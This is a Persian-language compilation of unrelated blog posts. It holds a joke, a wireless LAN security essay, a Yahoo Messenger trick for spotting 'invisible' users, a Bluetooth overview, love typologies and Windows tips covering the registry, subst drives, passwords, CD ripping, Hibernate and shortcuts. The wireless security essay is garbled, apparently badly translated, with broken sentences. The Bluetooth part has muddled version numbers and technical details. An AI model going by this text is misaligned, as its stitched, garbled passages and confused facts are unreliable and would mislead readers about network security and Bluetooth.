يه روز وقتي داشت با زنش کنار رودخونه راه مي رفت زنش افتاد تو آب. هيزم شکن داشت گريه مي کرد که فرشته باز هم اومد و پرسيد که چرا گريه مي کني؟
"اوه فرشته زنم افتاده توي آب."
فرشته رفت زير آب و با آنجلينا جوليت برگشت و پرسيد : زنت اينه؟
هيزم شکن فرياد زد "آره".
فرشته عصباني شد و گفت :"تو تقلب کردي اين نامرديه."
هيزم شکن جواب داد :"اوه فرشته منو ببخش . سوء تفاهم شده. ميدووني ، اگه به آنجلينا جوليت "نه" ميگفتم تو ميرفتي و با جنيفر لوپز مي اومدي . و باز هم اگه به جنيفر لوپز "نه" ميگفتم تو ميرفتي و با زن خودم مي اومدي و من هم ميگفتم "آره".
اونوقت تو هر سه تا رو به من مي دادي . اما فرشته ، من يه آدم فقيرم و توانايي نگهداري سه تا زن رو ندارم ، و به همين دليل بود که اين بار گفتم آره .
نکته اخلاقي اين داستان اينه که هر وقت يه مرد دروغ ميگه به خاطر يه دليل شرافتمندانه و منطقيه !!!
شبکه ها ی بی سیم می توانند به عنوا ن یک شبکه ی موثر برای گسترش دسترسی به شبکه باشد
.هر چند که آنها نسبت به ا رتباط یک شبکه ی محلی مبتنی برسیم ساد ه نیستند
. شبکه های مبتنی بر سیم ساده نیستند. شبکه ها ی مبتنی بر سیم از سوئیچها و مسیز یابهایشان و ساختمانی که آنها را در بر گرفته است مخفی هستند ._
روی یک شبکه ی بی سیم هر کسی می تواندهای به دیگری گوش دهد. حتی در محل های عمومی خارج ساختمان بنابرا ین ا ین جا یک مسئله در مورد محفوظ بودن ارتباط و مسئولیت پذیری برای استفاد ه و سرویس دسترسی مفید وجود دارد. تا سیسات استاندارد تجهیزات بی سیم هستند که غیر محتمل برای آدرس دهی رواج می یابند . همچنین قدمهای اضافی باید برداشته شود قبل از این که شبکه های بی سیم سو ئیچ شده وصل شود.اختفا
privacy :شبکه های بی سییم از انتشارات رادیو یی استفاد ه می کنند بنابر این هر کسی با یک گیرنده ی رادیو یی قادر به شنید ن همه ی ارتباطات روی شبکه می باشد. انتقال بی سیم می تواند مسیری را طی کند با فاصله ی حیرت انگیز و تقریبا از بیندیوارها و ساختمانها نفوذ می کند.
بزودی طرحی برای شبکه ی بی سیم با تکیه بر پروتوکلی که در آن اختفا یی مشابه با شبکه های مبتنی بر سیم
(wep) وجود دارد ایجاد می شود که در آن فرض شود که همه ی ترافیکها رمز شده است.متاسفانه این پروتوکل اززمانی که ایجاد شده عیبی یافته است وآن عیب این است که هربرنامه ای
می تواند هنگامی که وب خاموش است
Down loadشود و این کار با خواندن ارتباط رمزیwep
انجام می گیرد.هر
LAN بی سیم درحال توسعه که برای اطلا عات که کاملا عمومی نیست استفاد ه شود باید از کلمات رمزی اضافی همانند password و username حفاظت شده استفاده کند.o
شبکه های اختفا مجازی رمز شده (VPNS ) و سیستم رمز گذاری لایه ی شبکه همچونلایه ی سوکتهای امنیتی موارد معروف ومحبوب هستند
. مسئولیت جواب گویی: Accountabilityشبکه های بی سیم نه تنها اجازه نمی دهند که خارجیها گوش به ترا فیک روی ترمینال شبکه بدهند آنها ممکن است اغلب قادربه دسترسی کامپیوتر ها یی روی ترمینال سبکه یا اینترنت شوند
. یک چنین دسترسی معمولا مفقود الثر خواهد بود . در اغلب آدر سهای اینترنت کارت بی سیم شاید ثبت شود و این می تواند ساختگی باشد.بندها برای سیستم اینتر نتی و ارتبا طا ت باید آشکار و واضح با شد اما عدم کنترل دسترسی به اینتر نت می تواند اغلب سبس مشکلا تی شود
. دست کم یک تهیه کننده ی LAN بی سیم مسئله ای در مورد ربودن تجهیزا تشان توسط افراد سواستفاده کننده دارند. افرادی که شبکه شان و IPآدرس شان را قرض گرفته اند
.همه ی شبکه های بی سیم احتیا ج به سندیت و اعتباری دارند که مطمئن کند که استفاده کنندگان آشنا می توانند دسترسی مفید داشته باشند واین که یک بازرسی برای تست استفاده کنندگان وجود داشته باشد
. سندیت داشتن احتیاج به وابستگی هایی روی خرابی هایی که ممکن است بوجود بیاید دارد. برای یک نصب موقت که فقط امکان دسترسی به سیستم های کم را برای چند ساعت کوتاه می دهد . یک سری ا طلا عات طبقه بندی WEP کلید معتبری را برای استفاده کنندگان صحیحی که ممکن است دارای صلاحیت باشند منتشر می کنند.o
یک نصب دائمی با د سترسی به شبکه ی خارجی و داخلی باید حداقل یک سندیت لاگین یکسان همانند شبکه های مبتنی برسیم داشته باشد . چنان چه هدف از یک شبکه دسترسی به سرویسهای حفاظت شده محلی است در نتیجه آن ممکن است ضروری نباشد به سندیت لا گین تا وقتی استفاده کنندگان سعی نکنند به سیستم های خارجی دیگر دسترسی داشته باشند. گونه های متعدد ی از سندیت امکان دارد که شامل password وusername باشد.سندیت بر خلاف پایگاه داده های دور دست یا ا نتقال موقت در شبکه توسط یک سرپرست محلی ایجاد می شود
. همه ی استفاده کنند گان از جمله میهمانان باید یک سیساست از شبکه ی محلی را قبول کنند.قابلیت سودمندی
: Availabilityسودمندی یک شبکه ممکن مشکل ترین بخش ا ز امنیت شبکه برای رفع کردن شبکه از آسیب پذیری در سطوح مختلف است همانند هر انتقال رادیویی یک سیگنال
LAN بی سیم می تواند توسط فلزات قطع شودیا مواد بتنی یا توسط یک فرستنده ی قوی تر از بین برود.تعداد کمی از فرکانسهای مجزا قابل دسترسی هستند
. به این معنی که اگر کانالها واگذار شود و موقعیتهای فیزیکی بدرستی و به دقت مدیریت نشوند شبکه های بی سیم ممکن است با هم تداخل کنند. تزاحم وتداخل همچنین می تواند بواسطه ی تغییرهای غلط در سطح شبکه اتفاق بیفتد . برایمثال اگر دستگاههای بی سیم نامهای یکسان داشته باشند یا اگر سیستم های غیر مجاز خودشان را بعنوان مسیر یاب یا سرویس های پروتکل ترکیب بند ی میزبان پویا اعلان بکنند
.سرانجام یک شبکه ی بی سیم یک منبع تقسیم صادقانه می باشد همراه با تعدادی برنامه ی کاربردی شبکه که
unsuited هستند.پروتکل هایی که با پهنای باند زیاد درخواست می شوند همیشه دچار مشکل خواهند شد
. بعضی پروتکلهای خود ساخت یافته یکسری مشکلات روی شبکه های LAN خارجی با تکرار پیام همگانی خودشان را ایجاد می کنندکه باعث مختل شدن شبکه و غیر قابل استفاده شدن شبکه برای دیگرا ن میشوند.این موضوع یک مشکل مخصوص با laptop ها در کنفرانسها داشته است.o
اگر مالکیتی که اطلا عات کافی بزای محافظت کردن ماشین هایشان از غرق شدن شبکه نداشته باشند. ممکن است کاری نتوانند انجام دهند ولی مانع از انتقال دادن آنها می شوند.تخصیص مرکزی فرکانسها ونامها و سرویس ها با زمینه یابی وپیمایش مرتب درهمه ی این سطح پشتیبانی شده توسط سیاستهایی که اجاز ه می دهند دستگاههای مشکل دار از اتصال خارج شوندیا
shut downشوند. بهترین روش برای دسترسی به بهره وری خوب از یک نصب شبکه بی سیم می باشد .سیاست
: Policyحتی سازمان هایی که طرحی برای نصب شبکه های رسمی نکشیده اند باید سیاستی روی تنظیم اتصال مرکزدسترسی غیر رسمی داشته باشند
. بعنوان این که انها می توانند به آسانی در معرض خطر امنیتی قانونی وفنی قرار گیرند. امنیت منطقی قابل دسترسی یکLAN بی سیم بایدتوسط سیاست مبتنی بر اختفا (رمز گذاری) خوب طراحی وپشتیبانی شود. سند یت و پیکر بند ی با این پیش بینی ها یک شبکه ی بی سیم می تواند همانند شبکه های مبتنی بر یسم بی خطر باشد.ابتدا با ID خود به یاهو مسنجر لوگین نمایید. سپس سه کلید Ctrl+Shift+A را همزمان فشار دهید تا پنجره Add کردن دوست نمایان شود.
سپس ID با نام siva_checker را Add نمایید.
پس از Add کردن این ID که یک روبات است کافی است پنجره PM را باز کرده و عبارت زیر را در آن تایپ کنید و برای او ارسال کنید:
check ID/
حال با پیامی از جانب روبات رو به رو میشوید که یا User Is Offline است که یعنی فرد مورد نظر واقعا آفلاین است یا User Is Online که یعنی فرد آنلاین میباشد اما Invisible شده است.
لازم به ذکر است این روبات توانمند ساخته در " گروه امنیتی آشیانه " و "پارسبد" میباشد که از این حیث جای تقدیر و تشکر دارد.
|
در واقع بلوتوث وسیله ای است كه راهی برای ارتباط بین ابزارهای مختلف دیجیتالی پیدا می كند. به عنوان مثال كامپیوترها، موبایل، لپ تاپ، پرینترها و دوربین های دیجیتالی می توانند با این وسیله و با امواج رادیویی كوتاه با یكدیگر ارتباط پیدا كنند.
نام بلوتوث از نام پادشاهی وایكینگ گرفته شده است كه در قرن دهم می زیسته.( هارولد بلوتوث علاقه فراوانی به بحث احزاب و تفكرات آنها داشت. او به دلیل علاقه اش به تمشك آبی، دندان هایش همیشه آبی بوده!) بلوتوث كه در ابتدا برای تلفن همراه طراحی شده بود یك آی سی نسبتاً ارزان است كه روی نوك تلفن های همراه وصل می شود و می تواند امواج را از ۱۰ سانتی متری تا ۱۰۰ متری تشخیص داده و دریافت كند. البته بلوتوث ها سه كلاس مختلف دارند كه همگی توانایی تشخیص ۱۰ تا ۱۰۰ متر را ندارند. از طریق بلوتوث می توان فایل های مختلف نظیر MP۳ و JPG را منتقل نمود همچنین می توان با آن GPS را دریافت كرد و به همین دلیل تعدادی از كارخانه های ماشین سازی پیشرفته دنیا از آن استفاده كرده اند. اكنون تمام شركت های سازنده تلفن همراه از این ابزار استفاده می كنند. بلوتوث از استاندارد شبكه IEEE۸۰۲ استفاده می نماید. ابتدا بلوتوث در نسخه های ۱ و ۱۸ به بازار ارائه شد كه مشكلات بسیاری داشت. مثلاً در هنگام تكان خوردن دست، ارتباط قطع شده و ابزارها نمی توانستند همدیگر را پیدا كنند. پس از آن، نسخه ۲/۱ ارائه گردید كه با اضافه كردن AIH به آن فركانس های مختلف از هم جدا شده و از تداخل آنها در سرعت های بالا و به هنگام حركت جلوگیری می شد. نسخه ۲ بلوتوث در حالی كه تمام نسخه ۱۰X را ساپورت می كرد دارای مزیت EDR بود كه با سرعت ۱/۲ مگابیت در ثانیه توانایی انتقال اطلاعات را دارا بود و در ضمن منبع تغذیه ضعیف تری را در طول یك سیكل كار لازم داشته و محدوده خطایی آن بسیار كم است. نسخه بعدی بلوتوث كه به نام Lisbon نیز شناخته می شود قابلیت های جدیدی دارد كه از جمله آنها افزایش سرعت و امنیت انتقال اطلاعات است كه باعث افزایش ارزش این ابزار برای كاربران می گردد. در مدل لیسبون یك كلید رمز وجوددارد كه به منظور افزایش امنیت حركت كرده و بین لینك های مختلف سوئیچ می كند. این كلید رمز شامل نام سخت افزار و كدهای آن می باشد و قبل از انتقال احتیاج به بازگشایی دارد. انتظار می رود در آینده نزدیك بلوتوث در ماوس و صفحه كلید هم استفاده شود و باعث كاهش مصرف الكتریسیته بین ۳ تا۱۰ مرتبه در آنها شود. نسخه بعد از لیسبون به نام Seattle می باشد كه انتظار می رود دارای سرعت و امنیت فوق العاده ای باشد. با توجه به روند استفاده از بلوتوث در ابزارهای دیجیتال، انتظار استفاده از آن در مكانیزه كردن وسایل خانگی و كنترل از راه دور آنها روز به روز افزایش می یابد. |
بدون شرح!
از ديرباز بشر به پديده عشق علاقه مند بوده است اما تـا امـروز تعريف دقيق و فراگيري از عشق كه بتــوانـد هـمه را قانع سازد ارايه نگرديده است. برخي معـتقدنـد كـه بـطـور غريزي عشق را مي شناسند بنابراين اصلا زحمت تعريف كـردن آن را بـه خـود نـمي دهــنـد. امـا درسـالـهـاي اخـيـر دانشمندان تـحـقـيـقـات گـسترده اي درباره عشق صورت داده و به يافته هاي بسيار جالبي نيز دست يافتـه انـد. از جمله آنها مـيـتـوان به فرضيه: "مثلث عشق" اشاره كـرد. اين فرضيه عشق را به سه مولفه تقسيم بندي مـيـكنـد: صميميت، شهوت(هوس) و تعهد.
هـمچنـيـن بـه واسـطه آزمـايشـات گـونـاگون تـفاوتهاي ابراز عشق در دو جنس مرد و زن مشخص گرديده اند. براي مثال مشـخص شده كـه زنـان در عـشـق بـه دوسـتي و منافع مـشـتـرك بـيـشتـر بـها مي دهند و بـيـشتر از مـردها از حـسادت رنـج بـرده و وابـستگي بيشتري به فرد مقابل خود پيدا مي كنند. در زيـر به سبـك هاي مـخـتـلف عشـق اشاره گرديده است:
1- اروس(EROS): عشق شهواني - عـشق بـه زيبايي - فاقد منطق - عشق فيزيكي كه بواسطه جذابيت و كشش هاي جسماني و يا ابراز آن بطور فيزيكي نمايان ميگردد -همان عشق در نگاه اول - با شدت آغاز شده و بسرعت فروكش ميكند.
2- لودوس(LUDUS): عـشق تـفنني - ايـن عشـق بـيـشتـر مـتعلق به دوران نوجواني ميباشد - عشق هاي رمانتيك زودگذر - لودوس ابراز ظاهري عشق ميباشد - كـثرت گرا نسبت به شريك عشقي - به اصطلاح فرد را تا لب چشمه برده و تشنه بازمي گرداند -رابطه دراز مدت بعيد بنظر ميرسد.
3- فيلو(PHILO): عشق بـرادرانـه - عـشـقـي كـه مبتني بر پيوند مشترك مي باشد -عـشقي كـه بـر پـايـه وحـدت و هـمـكاري بـوده و هـدف آن دسـتـيـابي بـه منافع مشترك ميباشد.
4- استورگ(STORGE): عشق دوستانه - وابسته به احترام و نگراني نسبت به منافع مـتقابل - در اين عشق همنشيني و همدمي بيشتر نمايان مي باشـد - صـمـيـمـانـه و متعهد- رابطه دراز مدت است - پايدار و بادوام - فقدان شهوت.
5- پراگما(PRAGMA): عشق منطقي - اين مختص افرادي است كه نگران اين موضوع ميباشند كه آيا فرد مقابلشان در آينده پدر يا مادر خوبي براي فرزندانشان خواهند شد؟ عشقي كه مبتني بر منافع و دورنماي مشترك مي باشـد - پـايـبند بـه اصـول مـنـطـق و خردگرا ميباشد - همبستگي براي اهداف و منافع مشترك.
6-مانيا(MANIA): عشق افراطي - انحصارطلب، وابسته و حسادت برانگيز - شيفتگي شديد به معشوق - اغلبا فاقد عزت نفس -عدم رضايت از رابطه - مانند وسوسه ميماند و ميتـواند بـه احساسات مبالغه آميز و افراطي منجر گردد - عشق دردسر ساز - عشق وسواس گونه.
7-اگيپ(AGAPE): عشق الهي - عشق فداكارانه و از خودگذشته-عشق نوعدوستانه (تمايل انجام دادن كاري براي ديگران بدون چشمداشت) - عشق گرانقدر .
۱.وارد registry شوید.
۲.مسیر زیر را دنبال کنید :
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explore
۳.روی پنل سمت راست ،کليک سمت راست کرده و New را انتخاب کنيد.
۴.روی REG_DWORD Value کليک کنيد.
۵.اسم آنرا NoPropertiesMyComputer بگذارید.
۶.حالا برای نشان دادن Properties مقدار 0 و برای نشان ندادنش مقدار 1 را انتخاب کنيد.
برای نشان داده شدن اين تاثير ،بايد ويندوز را از نو بوت کنيد.
قبل از شروع عمليات لازم است ذكر كنم ايجاد چنين درايوهايي هيچ ربطي به پارتيشن بندي هارد ديسك ندارد و سلامت سيستم عامل شما را به خطر نخواهد انداخت. بنابراين نگران از دست رفتن اطلاعات خود نباشيد. ضمنا اگر خوشتان نيامد راهي براي از بين بردن درايو مجازي وجود دارد. تا انتهاي اين مقاله با ما باشيد.
براي ساخت درايو مجازي در اين آموزش از فايل هاي خود ويندوز كمك مي گيريم. اينبار به سراغ فايل اجرايي Subst.exe مي رويم. اين فايل در پوشه system32 كه در پوشه windows قرار گرفته موجود است. اين فايل به همراه سيستم عامل داس ارائه شده و اجراي آن در حالت اوليه كار هيچ عكس العملي نشان نخواهد داد. كلمه Subst برگرفته از كلمه Substitution به معناي جايگزيني و علي البدلي است و در حقيقت براي جانشين كرد يك دايركتوري به يك درايو بكار مي رود.
به اين معني كه با اجراي اين دستور مي توانيد محتويات يك فولدر خاص را به يك درايو تبديل كنيد و آن را در My Computer نشان دهيد. گاهي اوقات گشتن به دنبال پوشه ايي در ميان انبوه فايل ها و فولدرهاي در يك درايو خاص وقت گير است. اين كار مي تواند اين امر را تسهيل بخشد.
مسلما عملياتي مانند كپي و كات فايل ها يا حتي نصب برنامه ها در درايو هايي كه به اين روش ايجاد مي شوند مقدور خواهد بود اما در مورد عمليات سيستمي مانند فرمت يا اسكن ديسك امكان پذير نيست. حال چگونه از اين Subst استفاده كنيم؟
به Run يا Command Prompt ويندوز وارد شويد ( توضيح: Run در خود منوي استارت ويندوز موجود است و همچنين براي ورود به Command Prompt در فيلد Run كلمه cmd را تايپ و اينتر كنيد ) حال بايد دستوري مطابق شكل زير تايپ كنيد (شكل كلي فرمان):
Subst NewDriveName: Folder Direction
فكر نكنم نياز به توضيح چنداني باشه NewDriveName نام درايو جديدي كه قصد داريد ايجاد كنيد. دقت كنيد كه اين نام مشابه نام درايوهاي موجود نباشه و Folder Direction مسير پوشه ايي كه قصد داريد اون رو به صورت درايو مجازي در بياريد. براي نمونه، مثال هاي زير درايوهايي با نام K و L ايجاد خواهند كرد. درايو K جايگزيني براي محتويات پوشه C:\part و درايو L جايگزيني براي مسير C:\ Program Files\Adobe .
Subst K: C:\part
Subst L: C:\ Program Files\Adobe
توجه! مدت دوام اين درايو هاي مجازي بعد از ريستارت سيستم پايان مي پذيرد و با يك بار ريستارت سيستم، ديگر اين درايوها را نخواهيد ديد. براي جلوگيري از اين امر چندين راه وجود دارد كه بعلت كمي فرصت تنها يكي را شرح مي دهيم.
در سيستم عامل هاي Dos و Win9x ساده ترين راه ويرايش فايل Autoexec.bat خواهد بود. اين فايل را در درايو C بيابيد و خطوط مربوط به Subst را در آن تايپ كنيد تا در هر بار ريستارت سيستم به تبع آن Subst ايجاد شود. در سيستم عامل هاي xp و 2000 بهترين و راحترين كار اين است كه يك فايل اجرايي با پسوند .bat يا همان BatchFile ايجاد كنيم و خود فايل يا Shortcut آنرا در استارتاپ سيستم قرار دهيم. يا مي توانيم مسير را در رجيستري ايجاد كنيم.
حال چگونه فايل اجرايي يا همان BatchFile را ايجاد كنيم. مسير زير را براي باز كردن يك صفحه notepad طي كنيد:
Start \All Programs\Accessories\notepad
از منوي فايل Save as را انتخاب و در مسيري دلخواه فايل را با پسوند bat ذخيره كنيد. حال به سراغ فايلي كه ايجاد كرده ايد برويد. بر روي آن راست كليك و Edit را برگزينيد و دستورات مربوط به Subst را در آن تايپ و فايل را ذخيره كنيد. حال نوبت به مسيردهي اين فايل در رجيستري مي رسد. به رجيستري وارد شويد( در فيلد Run كلمه Regedit را تايپ كنيد). مسير زير را طي كنيد:
HKEY_CURRENT_USER\SOFTWAREMicrosoft\Windows\Current Version\Run
حال در بخش سمت راست محيط رجيستري راست كليك كرده و پس از انتخاب گزينه New گزينه String Value را انتخاب سپس يك نام به ارزش ايجاد شده داده و با دابل كليك بر روي آن در قسمت Value Date آدرس BatchFile را كه در مرحله قبل ايجاد كرده ايد، وارد كنيد. بر روي ok كليك و از رجيستري خارج شويد. اگر مراحل را درست طي كرده باشيد اين بار با ريستارت ويندوز درايوهاي مجازي دوباره ايجاد خواهند شد.
حال اگر پشيمان شديد و قصد حذف درايو مجازي را داشتيد طبق زير عمل كنيد:
پس از پاك كردن دستورات اضافه شده در فايل Autoexec.bat در سيستم عامل هاي Dos و Win9x و يا پاك كردن Shortcut يا خود فايل bat از استارتاپ سيستم و يا پاك كردن ارزش رشته در رجيستري براي سيتم عامل هاي xp و 2000 سيستم را يك بار ديگر ريستارت كنيد. اگر هم بخواهيد اين كار را بدون ريستارت انجام دهيد كافيست در Run يا Command Prompt دستور زير را تايپ كنيد:
Subst NewDriveName: /d
كه NewDriveName نام درايوي كه قصد پاك كردن آن را داريد مي باشد.
1- براي ايجاد كلمه عبور، از حروف بزرگ و كوچك و به صورت يك در ميان یا هر جوری که دوست دارید
iDoLdEsIgN یا IdoLDEsiGN
۲ - حروف اول كلمات يك جمله را به عنوان رمز عبور خود انتخاب كنيد.
مثلاًدر جمله:"If sentence is longer password would be safer " كه رمز عبور آن به اين صورت تبديل
مي شود: " Isilpwbs "
3 - عدد يا شماره تلفنی را براي خود در نظر بگيريد و آن را با دكمه Alt تايپ كنيد.
مثلاً : شماره تلفن : ۹۷۱۲۲۳۳ را با دكمه Alt به صورت تک تک و جدا به اين صورت تبديل مي شود:
البته اين الان برعکس به نمايش در مياد.
○•☺☻☻♥♥
4 - لغتي را در نظر بگيريد و سپس حروف سمت راست آن را که بر روي صفحه كليد قرار دارد، بنويسيد:
مثال: Hardware تبديل مي شود به: Jstfestr ، البته شايد اين روش براتون کمی سخت باشه.
5 - لغت يا تركيبي را براي خود در نظر بگيريد مانند “24Oktober” و بعد آن را بهم بريزيد به اين صورت كه
حروف اول آن را با حرف آخر، حرف دوم را با حرف ماقبل آخر و به همين ترتيب بقيه را بنويسيد:
24r4eObkot
6 - لغات يك جمله را به اختصار بنويسيد اين اختصارات را خود شما تعيين مي كنيد و از قاعده خاصي پيروي
نمي كنند.
مثلاً عبارت White meat with cabbage تبديل مي شود به:
“whtmtwtcabge”
۷ - در رمز عبور از علائم ويژه استفاده كنيد.
مثال: “c/Om%u\t§E~r
( قابل اجرا در نسخه های ، مدیا پلیر 7 و بالاتر )
1 - بعد از گذاشتن Cd در کامیپیوترتون ، در پنجره ای که به صورت اتوماتیک ظاهر میشه انتخاب گزینه
Copy Music From Cd و یا باز کردن برنامه مدیا پلیر و زدن گزینه Copy From Cd در منوی کنار مدیا پلیر
( Menu bar )
2- انتخاب فایلهای مورد نظر شما با تیک زدن کنار آنها - ( فایلهایی که میخواهید از Audio سی دی به
فرمت MP3 تبدیل شوند )
3- انتخاب گزینه Copy Music که در قسمت بالای Caption مدیا پلیر قرار دارد. ( آیکون دایره ای قرمز رنگ )
4- انتخاب گزینه های 2 و 3 به ترتیب از بالا ، سپس Next کنید و در قسمت پایین صفحه بعد میتونید فرمت
خروجی( تنظیم کیفیت فایل های CD ) که به نظر من بهتره که اونو روی ( 96 Kbps ) قرار بدید و روی
گزینه Finish کلیک کنید تا کار کپی و تبدیل به فرمت MP3 شروع بشه.
نکته : محل ذخیره فایل ها بطور پیش فرض در ( My Documents \ My music ) شما می باشد که اگه
خواستید میتونید قبل از زدن گزینه Finish اونو تغییر بدید.
زماني كه سيستم را خاموش مي كنيد و يا به هر دليلي ميخواهيد از ويندوز خارج شويدحتما از شما درباره ذخيره برنامه ها سؤال مي شود.نكته جالب توجه در ويندوز XP خروج از آن بدون ذخيره اطلاعات است.در اين صورت شما مي توانيد برنامه ها را در هر حالتي كه هستند رها كرده و از ويندوز خارج شويد.مجدد كه وارد محيط ويندوز مي شويد مي بينيد كه هيچ چيز دست نخورده و برنامه ها به همان شكل باقي مانده اند حالا شما مي توانيد به كارتان ادامه دهيد!!! ( حتي پنجره ها باز مانده اند )
اين حالت را اصطلاحا HIBERNATE ميگويند.براي فعال كردن آن از منوي استارت به كنترل پنل رفته و Power Options را باز كنيد سپس در سربرگ Hibernate گزينه Enable Hibernation را فعال كنيد و تنظيمات را تاييد كنيد.حال منوي استارت را باز كرده و turn of computer را انتخاب كنيد. در صفحه باز شده دكمه shift را بزنيد.ميبينيد كه گزينه standby به hibernate تغيير پيدا مي كند.براي بردن كامپيوتر به اين حالت دكمه shift را نگه داشته و روي hibernate كليك كنيد.
Esc لغو عمليات در حال انجام.
F1 راهنما.
F2 در حالت عادي تغيير نام آيتم (هاي) انتخاب شده . در برنامه هاي قديمي تر (معمولا تحت داس)ذخيره فايل جاري.
F3 جستجو.
F4 باز كردن ليست پايين رونده Address Bar
F5 به روز آوري Refresh
F6 مانند كليد Tab بين اجزاي مختلف پنجره جاري سوييچ مي كند.
F10 پرش به منو هاي اصلي يك پنجره (مثل File,Edit,View,...)
F11 پنجره جاري را تمام صفحه مي كند.
PrintScreen در ويندوز از كل صفحه نمايش يك عكس مي گيرد و آن را در حافظه كليپ بورد قرار مي دهد و ما مي توانيم در يك برنامه ويرايش عكس مثل Ms-Paint آن را Paste كنيد .
Tab بين اجزاي پنجره جاري سوييچ مي كند .
Space در حالت مرورگر اينترنت اكسپلورر صفحه جاري را به پايين مي برد .(مثل Page Down)
BackSpace در حالت عادي يعني در مرور ويندوز يك مرحله به بالاتر ميرود (معادل Up) و در مرورگر اينترنت اكسپلورر معادل Back است.
Home رفتن به اول خط در حالت ويرايش متن و رفتن به اول صفحه در حالت مرور.
End رفتن به آخر خط در حالت ويرايش متن و رفتن به آخر صفحه در حالت مرور.
PageUp در حالت مرور چه در اينترنت و چه در ويندوز و معمولا همه جا صفحه به صفحه به بالا مي رود.
PageDown در حالت مرور چه در اينترنت و چه در ويندوز و معمولا همه جا صفحه به صفحه به پايين مي رود.
تركيبات كليد Ctrl :
Ctrl+q در بعضي از برنامه ها خروج است.
Ctrl+w در اكثر برنامه هايي كه چند فايل را باهم باز مي كنند مثل Ms-Word, كلا Ms-Office , Adobe Photoshop ,Ms-internet Explorer, ... فایل باز شده جاری را می بندد.
Ctrl+e جستجو در مسير جاري.
Ctrl+r تازه كردن صفحه (معادل كليد F5 و Refresh)
Ctrl+y وقتي كه يك عمل به عقب باز ميگرديم (Undo) اين كليد ها يك عمل به جلو مي روند (Redo) البته در بعضي برنامه ها معمولا محصولات آفيس مايكروسافت اينگونه هستند .
Ctrl+i باز كردن قسمت علاقه مندي ها(Favorites)
Ctrl+o باز كردن فايل جديد در اكثر برنامه ها (معادل File>Open)
Ctrl+p پرينت گرفتن در اكثر برنامه ها.
Ctrl+a انتخاب همه آيتم ها.
Ctrl+s در اكثر برنامه ها ذخيره فيل جاري .(Save)
Ctrl+d در اينترنت اكسپلورر صفحه باز شده جاري را به علاقه مندي ها اضافه مي كند (معادل Favorites>Add to Favorites) و در ويندوز هم آيتم (آيتم هاي) انتخاب شده را پاك مي كند.
Ctrl+f جستجو.
Ctrl+h معادل History (ابته در ويرايشگر نوت پد معادل Find / Replace است)
Ctrl+l در اينترنت اكسپلورر معادل File>Open است.
Ctrl+z بازگشت به آخرین عملیات انجام شده (Undo)
Ctrl+x انتقال (برش) آیتم مورد نظر در حافظه کلیپبورد.(Cut)
Ctrl+c کپی آیتم مورد نظر در حافظه کلیپبورد.(Copy)
Ctrl+v فراخوانی آیتم مورد نظر از حافظه کلیپبورد.(Past)
Ctrl+b پنجره سازماندهي علاقه منديها (Organize Favorites) را باز مي كند.
Ctrl+n در اينترنت اكسپلورر (تقريبا تمامي مرورگرها) يك پنجره جديد باز مي كند.
Ctrl+F1 در اكثر برنامه ها ي مختلف راهنماي برنامه را باز مي كند .
Ctrl+F4 باز كردن ليست پايين رونده Address Bar در مرورگر اينترنت اكسپلورر و مرورگر ويندوز.
Ctrl+F10 باز كردن منو هاي بالاي پنجره برنامه ها (مثل File,Edit,...).
Ctrl+BackSpace موقع ويرايش متن همان كار BackSpace را انجام مي دهد با اين تفاوت كه به جاي پاك كردن كاراكتر به كاراكتر كلمه به كلمه پاك مي كند.
Ctrl+5 معادل Select All در اکثر ویرایشگر های متنی.
Ctrl+Home درحالت ويرايش مكان نما را به اول صفحه انتقال مي دهد.
Ctrl+End درحالت ويرايش مكان نما را به آخر صفحه انتقال مي دهد.
Ctrl+Insert كپي آيتم(هاي) انتخاب شده در حافظه كليپ بورد(Copy).
تركيبات كليد Alt :
Alt+A باز كردن منوي علاقه مندي ها و قرار گرفتن بر روي Add to Favorites
Alt+D انتقال مكان نما به Address Bar
Alt+F4 بستن پنجره جاري.
Alt+Space Bar معادل راست كليك بر روي نوار عنوان پنجره جاري.
Alt+Esc پيمايش بين پنجره هاي باز جاري.
Alt+Tab سوييچ كردن بين پنجره هاي باز جاري.
Alt+BackSpace در بعضی از ویرایشگرها معادل Undo عمل مي كند (معمولا ويرايشگرهاي قديمي و تحت داس)
Alt+Home در مرورگر اينترنت اكسپلورر به صفحه خانگي پرش مي كند.
Alt+Right Arrow معادل Forward در مرورگر ویندوز.
Alt+Left Arrow معادل Back در مرور گر ويندوز.
Alt+Number تركيب كليد Alt به همراه زدن يك عدد از قسمت سمت راست صفحه كليد در حالت ويرايش يك كاراكتر معادل كد اسكي عدد وارد شده نمايش مي دهد . مثلا اگر Alt را نگه داشته و 789 را وارد كنيم پس از رها كردن كليد Alt اين كاراكتر نمايش داده مي شود : § .
Alt+Enter متعلقات (Properties) آيتم(هاي) انتخاب شده را نمايش مي دهد.
Alt+PrintScreen از پنجره جاري يك عكس تهيه مي كند و به حافظه كليپ بورد انتقال مي دهد.
تركيبات كليد Shift :
Shift+F10 معادل راست كليك.
Shift+Del پاك كردن كامل آيتم (هاي) انتخاب شده .يعني بدون اين كه به سطل بازيافت انتقال يابد پاك مي شود.
Shift+tab وارونه كاري كه Tab انجام مي دهد.
Shift+Insert فراخواني اطلاعات از حافظه كليپبورد (Paste)
تركيبات WinKey :
خود WinKey باز شدن منوي Start در ويندوز.
WinKey+E باز كردن My Computer در حالت Folders.
WinKey+R باز كردن پنجره Run.
WinKey+U باز كردن پنجره Utility Manager.
WinKey+D نمايش دسكتاپ (معادل Show Desktop)
WinKey+F جستجو.
WinKey+Ctrl+F جستجوي يك كامپيوتر در شبكه.
WinKey+L قفل كردن كامپيوتر .(يا رفتن به حالت Swich User)
WinKey+M تمامی پنجره های باز را Minimize مي كند.
WinKey+Shift+M تمامي پنجره هاي Minimize شده را Restore مي كند.
خوب حالا ممكنه كه بخواهيد جايي را با ماوس كليك كنيد (البته با استفاده از صفحه كليد) و يا اين كه آيكن هاي روي دسكتاپ را جابجا كنيد .
براي اين كار در سيستم عامل هاي ويندوز مايكروسافت يك كليد ميانبر قرار دارد كه توسط آن مي توان تمامي عملياتي را كه با ماوس انجام مي دهيم بوسيله صفحه كليد هم انجام دهيم .
خوب براي فعال كردن اين قسمت كليد هاي Shift+Alt سمت چپ را با هم نگه داشته و كليد NumLock را فشار مي دهيم.
